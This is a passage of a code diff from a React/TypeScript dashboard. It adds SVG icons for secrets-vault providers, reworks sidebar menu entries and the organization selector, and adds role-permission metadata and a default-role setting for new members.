d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint9_linear_1068_18455)"
fill-opacity="0.66"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint10_linear_1068_18455)"
fill-opacity="0.67"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint11_linear_1068_18455)"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint12_radial_1068_18455)"
fill-opacity="0.94"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint13_radial_1068_18455)"
fill-opacity="0.1"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint14_linear_1068_18455)"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint15_linear_1068_18455)"
fill-opacity="0.46"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint16_linear_1068_18455)"
fill-opacity="0.66"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint17_linear_1068_18455)"
fill-opacity="0.67"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint18_linear_1068_18455)"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint19_radial_1068_18455)"
fill-opacity="0.94"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint20_radial_1068_18455)"
fill-opacity="0.1"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint21_linear_1068_18455)"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint22_linear_1068_18455)"
fill-opacity="0.46"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint23_linear_1068_18455)"
fill-opacity="0.66"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint24_linear_1068_18455)"
fill-opacity="0.67"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint25_linear_1068_18455)"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint26_radial_1068_18455)"
fill-opacity="0.94"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint27_radial_1068_18455)"
fill-opacity="0.1"
/>
<defs>
<linearGradient
id="paint0_linear_1068_18455"
x1="7.23327"
y1="62.3326"
x2="48.1235"
y2="30.169"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#FF9EFA" />
<stop offset="0.422647" stopColor="#F55C15" stopOpacity="0.84" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint1_linear_1068_18455"
x1="55.6034"
y1="45.8768"
x2="41.1422"
y2="93.9976"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#A73394" stopOpacity="0" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint2_linear_1068_18455"
x1="84.0271"
y1="87.0164"
x2="39.3969"
y2="54.6034"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.385417" stopColor="#6B13F5" />
<stop offset="1" stopColor="#E2606E" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint3_linear_1068_18455"
x1="25.9331"
y1="4.73728"
x2="29.9223"
y2="37.8983"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.182292" stopColor="#6B13F5" />
<stop offset="1" stopColor="#CB4758" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint4_linear_1068_18455"
x1="64.5793"
y1="35.9036"
x2="37.6516"
y2="52.3594"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#6B13F5" />
<stop offset="1" stopColor="#E46373" stopOpacity="0" />
</linearGradient>
<radialGradient
id="paint5_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(38.6489 53.1074) rotate(176.204) scale(52.7244 138.365)"
>
<stop stopColor="#F55C15" stopOpacity="0.46" />
<stop offset="0.831969" stopColor="#EE82C6" stopOpacity="0" />
</radialGradient>
<radialGradient
id="paint6_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(-1.49331 68.0673) rotate(-19.7843) scale(36.8309 36.7807)"
>
<stop stopColor="#FF9EFA" />
<stop offset="1" stopColor="#DD5A68" stopOpacity="0" />
</radialGradient>
<linearGradient
id="paint7_linear_1068_18455"
x1="7.23327"
y1="62.3326"
x2="48.1235"
y2="30.169"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#FF9EFA" />
<stop offset="0.422647" stopColor="#F55C15" stopOpacity="0.84" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint8_linear_1068_18455"
x1="55.6034"
y1="45.8768"
x2="41.1422"
y2="93.9976"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#A73394" stopOpacity="0" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint9_linear_1068_18455"
x1="84.0271"
y1="87.0164"
x2="39.3969"
y2="54.6034"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.385417" stopColor="#6B13F5" />
<stop offset="1" stopColor="#E2606E" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint10_linear_1068_18455"
x1="25.9331"
y1="4.73728"
x2="29.9223"
y2="37.8983"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.182292" stopColor="#6B13F5" />
<stop offset="1" stopColor="#CB4758" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint11_linear_1068_18455"
x1="64.5793"
y1="35.9036"
x2="37.6516"
y2="52.3594"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#6B13F5" />
<stop offset="1" stopColor="#E46373" stopOpacity="0" />
</linearGradient>
<radialGradient
id="paint12_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(38.6489 53.1074) rotate(176.204) scale(52.7244 138.365)"
>
<stop stopColor="#F55C15" stopOpacity="0.46" />
<stop offset="0.831969" stopColor="#EE82C6" stopOpacity="0" />
</radialGradient>
<radialGradient
id="paint13_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(-1.49331 68.0673) rotate(-19.7843) scale(36.8309 36.7807)"
>
<stop stopColor="#FF9EFA" />
<stop offset="1" stopColor="#DD5A68" stopOpacity="0" />
</radialGradient>
<linearGradient
id="paint14_linear_1068_18455"
x1="7.23327"
y1="62.3326"
x2="48.1235"
y2="30.169"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#FF9EFA" />
<stop offset="0.422647" stopColor="#F55C15" stopOpacity="0.84" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint15_linear_1068_18455"
x1="55.6034"
y1="45.8768"
x2="41.1422"
y2="93.9976"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#A73394" stopOpacity="0" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint16_linear_1068_18455"
x1="84.0271"
y1="87.0164"
x2="39.3969"
y2="54.6034"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.385417" stopColor="#6B13F5" />
<stop offset="1" stopColor="#E2606E" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint17_linear_1068_18455"
x1="25.9331"
y1="4.73728"
x2="29.9223"
y2="37.8983"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.182292" stopColor="#6B13F5" />
<stop offset="1" stopColor="#CB4758" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint18_linear_1068_18455"
x1="64.5793"
y1="35.9036"
x2="37.6516"
y2="52.3594"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#6B13F5" />
<stop offset="1" stopColor="#E46373" stopOpacity="0" />
</linearGradient>
<radialGradient
id="paint19_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(38.6489 53.1074) rotate(176.204) scale(52.7244 138.365)"
>
<stop stopColor="#F55C15" stopOpacity="0.46" />
<stop offset="0.831969" stopColor="#EE82C6" stopOpacity="0" />
</radialGradient>
<radialGradient
id="paint20_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(-1.49331 68.0673) rotate(-19.7843) scale(36.8309 36.7807)"
>
<stop stopColor="#FF9EFA" />
<stop offset="1" stopColor="#DD5A68" stopOpacity="0" />
</radialGradient>
<linearGradient
id="paint21_linear_1068_18455"
x1="7.23327"
y1="62.3326"
x2="48.1235"
y2="30.169"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#FF9EFA" />
<stop offset="0.422647" stopColor="#F55C15" stopOpacity="0.84" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint22_linear_1068_18455"
x1="55.6034"
y1="45.8768"
x2="41.1422"
y2="93.9976"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#A73394" stopOpacity="0" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint23_linear_1068_18455"
x1="84.0271"
y1="87.0164"
x2="39.3969"
y2="54.6034"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.385417" stopColor="#6B13F5" />
<stop offset="1" stopColor="#E2606E" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint24_linear_1068_18455"
x1="25.9331"
y1="4.73728"
x2="29.9223"
y2="37.8983"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.182292" stopColor="#6B13F5" />
<stop offset="1" stopColor="#CB4758" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint25_linear_1068_18455"
x1="64.5793"
y1="35.9036"
x2="37.6516"
y2="52.3594"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#6B13F5" />
<stop offset="1" stopColor="#E46373" stopOpacity="0" />
</linearGradient>
<radialGradient
id="paint26_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(38.6489 53.1074) rotate(176.204) scale(52.7244 138.365)"
>
<stop stopColor="#F55C15" stopOpacity="0.46" />
<stop offset="0.831969" stopColor="#EE82C6" stopOpacity="0" />
</radialGradient>
<radialGradient
id="paint27_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(-1.49331 68.0673) rotate(-19.7843) scale(36.8309 36.7807)"
>
<stop stopColor="#FF9EFA" />
<stop offset="1" stopColor="#DD5A68" stopOpacity="0" />
</radialGradient>
</defs>
</svg>
);
export const AzureIcon = ({ className }: Props) => (
<svg
viewBox="0 0 96 96"
fill="none"
xmlns="http://www.w3.org/2000/svg"
className={className}
>
<defs>
<linearGradient
id="a"
x1="-1032.17"
x2="-1059.21"
y1="145.31"
y2="65.43"
gradientTransform="matrix(1 0 0 -1 1075 158)"
gradientUnits="userSpaceOnUse"
>
<stop offset="0" stopColor="#114a8b" />
<stop offset="1" stopColor="#0669bc" />
</linearGradient>
<linearGradient
id="b"
x1="-1023.73"
x2="-1029.98"
y1="108.08"
y2="105.97"
gradientTransform="matrix(1 0 0 -1 1075 158)"
gradientUnits="userSpaceOnUse"
>
<stop offset="0" stopOpacity=".3" />
<stop offset=".07" stopOpacity=".2" />
<stop offset=".32" stopOpacity=".1" />
<stop offset=".62" stopOpacity=".05" />
<stop offset="1" stopOpacity="0" />
</linearGradient>
<linearGradient
id="c"
x1="-1027.16"
x2="-997.48"
y1="147.64"
y2="68.56"
gradientTransform="matrix(1 0 0 -1 1075 158)"
gradientUnits="userSpaceOnUse"
>
<stop offset="0" stopColor="#3ccbf4" />
<stop offset="1" stopColor="#2892df" />
</linearGradient>
</defs>
<path
fill="url(#a)"
d="M33.34 6.54h26.04l-27.03 80.1a4.15 4.15 0 0 1-3.94 2.81H8.15a4.14 4.14 0 0 1-3.93-5.47L29.4 9.38a4.15 4.15 0 0 1 3.94-2.83z"
/>
<path
fill="#0078d4"
d="M71.17 60.26H29.88a1.91 1.91 0 0 0-1.3 3.31l26.53 24.76a4.17 4.17 0 0 0 2.85 1.13h23.38z"
/>
<path
fill="url(#b)"
d="M33.34 6.54a4.12 4.12 0 0 0-3.95 2.88L4.25 83.92a4.14 4.14 0 0 0 3.91 5.54h20.79a4.44 4.44 0 0 0 3.4-2.9l5.02-14.78 17.91 16.7a4.24 4.24 0 0 0 2.67.97h23.29L71.02 60.26H41.24L59.47 6.55z"
/>
<path
fill="url(#c)"
d="M66.6 9.36a4.14 4.14 0 0 0-3.93-2.82H33.65a4.15 4.15 0 0 1 3.93 2.82l25.18 74.62a4.15 4.15 0 0 1-3.93 5.48h29.02a4.15 4.15 0 0 0 3.93-5.48z"
/>
</svg>
);
export const ScalewayIcon = ({ className }: Props) => (
<svg
viewBox="0 0 24 24"
fill="currentColor"
xmlns="http://www.w3.org/2000/svg"
className={className}
>
<path d="M16.605 11.11v5.72a1.77 1.77 0 01-1.54 1.69h-4a1.43 1.43 0 01-1.31-1.22 1.09 1.09 0 010-.18 1.37 1.37 0 011.37-1.36h1.74a1 1 0 001-1v-3.62a1.4 1.4 0 011.18-1.39h.17a1.37 1.37 0 011.39 1.36zm-6.46 1.74V9.26a1 1 0 011-1h1.85a1.37 1.37 0 001.37-1.37 1 1 0 000-.17 1.45 1.45 0 00-1.41-1.2h-3.96a1.81 1.81 0 00-1.58 1.66v5.7a1.37 1.37 0 001.37 1.37h.21a1.4 1.4 0 001.15-1.4zm12-4.29V20a4.53 4.53 0 01-4.15 4h-7.58a8.57 8.57 0 01-8.56-8.57V4.54A4.54 4.54 0 016.395 0h7.18a8.56 8.56 0 018.56 8.56zm-2.74 0a5.83 5.83 0 00-5.82-5.82h-7.19a1.79 1.79 0 00-1.8 1.8v10.89a5.83 5.83 0 005.82 5.8h7.44a1.79 1.79 0 001.54-1.48z" />
</svg>
);
export const vaultProviderIcons = {
hashicorp: HashicorpVaultIcon,
infisical: InfisicalIcon,
aws: AwsIcon,
doppler: DopplerIcon,
azure: AzureIcon,
scaleway: ScalewayIcon,
} as const;

View File

@ -25,10 +25,8 @@ import {
Loader2,
LogIn,
type LucideIcon,
Network,
Package,
Palette,
PieChart,
Rocket,
Server,
ShieldCheck,
@ -37,6 +35,7 @@ import {
Trash2,
User,
Users,
Vault,
} from "lucide-react";
import Link from "next/link";
import { usePathname } from "next/navigation";
@ -54,14 +53,26 @@ import {
CollapsibleContent,
CollapsibleTrigger,
} from "@/components/ui/collapsible";
import {
Command,
CommandEmpty,
CommandGroup,
CommandInput,
CommandItem,
CommandList,
} from "@/components/ui/command";
import {
DropdownMenu,
DropdownMenuContent,
DropdownMenuItem,
DropdownMenuLabel,
DropdownMenuSeparator,
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import {
Popover,
PopoverContent,
PopoverTrigger,
} from "@/components/ui/popover";
import { Separator } from "@/components/ui/separator";
import {
SIDEBAR_COOKIE_NAME,
@ -202,28 +213,6 @@ const MENU: Menu = {
// Only enabled for users with access to Docker
isEnabled: ({ permissions }) => !!permissions?.docker.read,
},
{
isSingle: true,
title: "Swarm",
url: "/dashboard/swarm",
icon: PieChart,
// Only enabled for users with access to Docker
isEnabled: ({ permissions }) => !!permissions?.docker.read,
},
{
isSingle: true,
title: "Networks",
url: "/dashboard/networks",
icon: Network,
// Only enabled for admins and users with access to Docker in non-cloud environments
isEnabled: ({ auth, isCloud }) =>
!!(
(auth?.role === "owner" ||
auth?.role === "admin" ||
auth?.canAccessToDocker) &&
!isCloud
),
},
{
isSingle: true,
title: "Requests",
@ -374,6 +363,13 @@ const MENU: Menu = {
icon: Package,
isEnabled: ({ permissions }) => !!permissions?.registry.read,
},
{
isSingle: true,
title: "Secrets",
url: "/dashboard/settings/secrets",
icon: Vault,
isEnabled: ({ permissions }) => !!permissions?.vaultProvider.create,
},
{
isSingle: true,
title: "S3 Destinations",
@ -389,14 +385,6 @@ const MENU: Menu = {
icon: ShieldCheck,
isEnabled: ({ permissions }) => !!permissions?.certificate.read,
},
{
isSingle: true,
title: "Cluster",
url: "/dashboard/settings/cluster",
icon: Boxes,
// Only enabled for admins
isEnabled: ({ permissions }) => !!permissions?.organization.update,
},
{
isSingle: true,
title: "Notifications",
@ -589,6 +577,8 @@ function SidebarLogo() {
const [_activeTeam, setActiveTeam] = useState<
typeof activeOrganization | null
>(null);
const [organizationSelectorOpen, setOrganizationSelectorOpen] =
useState(false);
useEffect(() => {
if (activeOrganization) {
@ -611,8 +601,11 @@ function SidebarLogo() {
>
{/* Organization Logo and Selector */}
<SidebarMenuItem className={"w-full"}>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Popover
open={organizationSelectorOpen}
onOpenChange={setOrganizationSelectorOpen}
>
<PopoverTrigger asChild>
<SidebarMenuButton
size={isCollapsed ? "sm" : "lg"}
className={cn(
@ -661,145 +654,156 @@ function SidebarLogo() {
className={cn("ml-auto", isCollapsed && "hidden")}
/>
</SidebarMenuButton>
</DropdownMenuTrigger>
<DropdownMenuContent
className="w-64 rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
</PopoverTrigger>
<PopoverContent
className="w-96 p-0"
align="start"
side={isMobile ? "bottom" : "right"}
sideOffset={4}
>
<DropdownMenuLabel className="text-xs text-muted-foreground shrink-0">
Organizations
</DropdownMenuLabel>
<div className="overflow-y-auto overflow-x-hidden min-h-0 -mx-1 px-1">
{organizations?.map((org) => {
const isDefault = org.members?.[0]?.isDefault ?? false;
return (
<div
className="flex flex-row items-center justify-between gap-1"
key={org.name}
>
<DropdownMenuItem
onClick={async () => {
await authClient.organization.setActive({
organizationId: org.id,
});
window.location.reload();
}}
className="flex min-w-0 flex-1 gap-2 p-2"
>
<div className="flex size-6 shrink-0 items-center justify-center rounded-sm border">
<Logo
className={cn(
"transition-all",
state === "collapsed" ? "size-4" : "size-5",
)}
logoUrl={org.logo ?? undefined}
/>
</div>
<span className="truncate">{org.name}</span>
</DropdownMenuItem>
<div className="flex shrink-0 items-center gap-2">
<Button
variant="ghost"
size="icon"
className={cn(
"group",
isDefault
? "hover:bg-yellow-500/10"
: "hover:bg-blue-500/10",
)}
isLoading={isSettingDefault && !isDefault}
disabled={isDefault}
onClick={async (e) => {
if (isDefault) return;
e.stopPropagation();
await setDefaultOrganization({
<Command>
<CommandInput
placeholder="Search organizations..."
className="h-9"
/>
<CommandList className="max-h-[min(60vh,24rem)]">
<CommandEmpty>No organizations found.</CommandEmpty>
<CommandGroup heading="Organizations">
{organizations?.map((org) => {
const isDefault = org.members?.[0]?.isDefault ?? false;
return (
<CommandItem
key={org.id}
value={org.name}
onSelect={async () => {
setOrganizationSelectorOpen(false);
await authClient.organization.setActive({
organizationId: org.id,
})
.then(() => {
refetch();
toast.success("Default organization updated");
})
.catch((error) => {
toast.error(
error?.message ||
"Error setting default organization",
);
});
});
window.location.reload();
}}
title={
isDefault
? "Default organization"
: "Set as default"
}
className="flex items-center justify-between gap-1"
>
{isDefault ? (
<Star
fill="#eab308"
stroke="#eab308"
className="size-4 text-yellow-500"
/>
) : (
<Star
fill="none"
stroke="currentColor"
className="size-4 text-gray-400 group-hover:text-blue-500 transition-colors"
/>
)}
</Button>
{org.ownerId === session?.user?.id && (
<>
<AddOrganization organizationId={org.id} />
<DialogAction
title="Delete Organization"
description="Are you sure you want to delete this organization?"
type="destructive"
onClick={async () => {
await deleteOrganization({
<div className="flex min-w-0 flex-1 items-center gap-2">
<div className="flex size-6 shrink-0 items-center justify-center rounded-sm border">
<Logo
className={cn(
"transition-all",
state === "collapsed" ? "size-4" : "size-5",
)}
logoUrl={org.logo ?? undefined}
/>
</div>
<span className="truncate">{org.name}</span>
</div>
<div
className="flex shrink-0 items-center gap-2"
onClick={(e) => e.stopPropagation()}
onKeyDown={(e) => e.stopPropagation()}
>
<Button
variant="ghost"
size="icon"
className={cn(
"group",
isDefault
? "hover:bg-yellow-500/10"
: "hover:bg-blue-500/10",
)}
isLoading={isSettingDefault && !isDefault}
disabled={isDefault}
onClick={async (e) => {
if (isDefault) return;
e.stopPropagation();
await setDefaultOrganization({
organizationId: org.id,
})
.then(() => {
refetch();
toast.success(
"Organization deleted successfully",
"Default organization updated",
);
})
.catch((error) => {
toast.error(
error?.message ||
"Error deleting organization",
"Error setting default organization",
);
});
}}
title={
isDefault
? "Default organization"
: "Set as default"
}
>
<Button
variant="ghost"
size="icon"
className="group hover:bg-red-500/10"
isLoading={isRemoving}
>
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
</Button>
</DialogAction>
</>
)}
</div>
</div>
);
})}
</div>
{(user?.role === "owner" ||
user?.role === "admin" ||
isCloud) && (
<>
<DropdownMenuSeparator />
<AddOrganization />
</>
)}
</DropdownMenuContent>
</DropdownMenu>
{isDefault ? (
<Star
fill="#eab308"
stroke="#eab308"
className="size-4 text-yellow-500"
/>
) : (
<Star
fill="none"
stroke="currentColor"
className="size-4 text-gray-400 group-hover:text-blue-500 transition-colors"
/>
)}
</Button>
{org.ownerId === session?.user?.id && (
<>
<AddOrganization organizationId={org.id} />
<DialogAction
title="Delete Organization"
description="Are you sure you want to delete this organization?"
type="destructive"
onClick={async () => {
await deleteOrganization({
organizationId: org.id,
})
.then(() => {
refetch();
toast.success(
"Organization deleted successfully",
);
})
.catch((error) => {
toast.error(
error?.message ||
"Error deleting organization",
);
});
}}
>
<Button
variant="ghost"
size="icon"
className="group hover:bg-red-500/10"
isLoading={isRemoving}
>
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
</Button>
</DialogAction>
</>
)}
</div>
</CommandItem>
);
})}
</CommandGroup>
</CommandList>
{(user?.role === "owner" ||
user?.role === "admin" ||
isCloud) && (
<div className="border-t p-1">
<AddOrganization />
</div>
)}
</Command>
</PopoverContent>
</Popover>
</SidebarMenuItem>
{/* Notification Bell */}

View File

@ -45,6 +45,13 @@ import {
PopoverContent,
PopoverTrigger,
} from "@/components/ui/popover";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { Switch } from "@/components/ui/switch";
import { api } from "@/utils/api";
@ -163,6 +170,11 @@ const RESOURCE_META: Record<string, { label: string; description: string }> = {
label: "Audit Logs",
description: "View the audit log of actions performed in the organization",
},
vaultProvider: {
label: "Secrets Providers",
description:
"Manage external secret managers (HashiCorp Vault, AWS, Azure, Infisical, Doppler, Scaleway) and where their secrets can be referenced",
},
};
/** Descriptions for each action within a resource */
@ -419,6 +431,22 @@ const ACTION_META: Record<
auditLog: {
read: { label: "Read", description: "View the audit log history" },
},
vaultProvider: {
read: {
label: "Read",
description: "View providers and secret names for env autocomplete",
},
create: {
label: "Create",
description: "Connect new secret providers and test their connection",
},
update: {
label: "Update",
description:
"Edit provider credentials and project/environment assignments",
},
delete: { label: "Delete", description: "Remove secret providers" },
},
};
/** Resources that should be hidden from the custom role editor (better-auth internals) */
@ -759,6 +787,78 @@ function HandleCustomRole({
);
}
const DefaultRoleSection = ({ customRoles }: { customRoles: string[] }) => {
const utils = api.useUtils();
const { data: auth } = api.user.get.useQuery();
const { data: activeOrganization } = api.organization.active.useQuery();
const { mutateAsync: updateOrganization, isPending: isUpdating } =
api.organization.update.useMutation();
const [selectedRole, setSelectedRole] = useState<string>();
if (auth?.role !== "owner" || !activeOrganization) {
return null;
}
const currentRole = activeOrganization.defaultRole ?? "member";
const value = selectedRole ?? currentRole;
const onSave = async () => {
await updateOrganization({
organizationId: activeOrganization.id,
name: activeOrganization.name,
logo: activeOrganization.logo ?? undefined,
defaultRole: value,
})
.then(() => {
toast.success("Default role updated");
utils.organization.active.invalidate();
})
.catch((error) => {
toast.error(
error instanceof Error
? error.message
: "Error updating default role",
);
});
};
return (
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-3 rounded-lg border bg-muted/20 p-4">
<div className="space-y-0.5">
<p className="text-sm font-medium">Default role for new members</p>
<p className="text-xs text-muted-foreground">
Assigned automatically to users joining through SSO and preselected
when creating invitations.
</p>
</div>
<div className="flex items-center gap-2">
<Select value={value} onValueChange={setSelectedRole}>
<SelectTrigger className="w-40">
<SelectValue placeholder="Select a role" />
</SelectTrigger>
<SelectContent>
<SelectItem value="member">Member</SelectItem>
<SelectItem value="admin">Admin</SelectItem>
{customRoles.map((role) => (
<SelectItem key={role} value={role}>
{role}
</SelectItem>
))}
</SelectContent>
</Select>
<Button
size="sm"
isLoading={isUpdating}
disabled={value === currentRole}
onClick={onSave}
>
Save
</Button>
</div>
</div>
);
};
const CustomRolesContent = () => {
const {
data: customRoles,
@ -800,6 +900,9 @@ const CustomRolesContent = () => {
return (
<div className="space-y-4">
<DefaultRoleSection
customRoles={customRoles?.map((role) => role.role) ?? []}
/>
<div className="flex justify-end">
<HandleCustomRole onSuccess={refetch} />
</div>

View File

@ -1,24 +1,32 @@
"use client";
import Head from "next/head";
import { useTheme } from "next-themes";
import { api } from "@/utils/api";
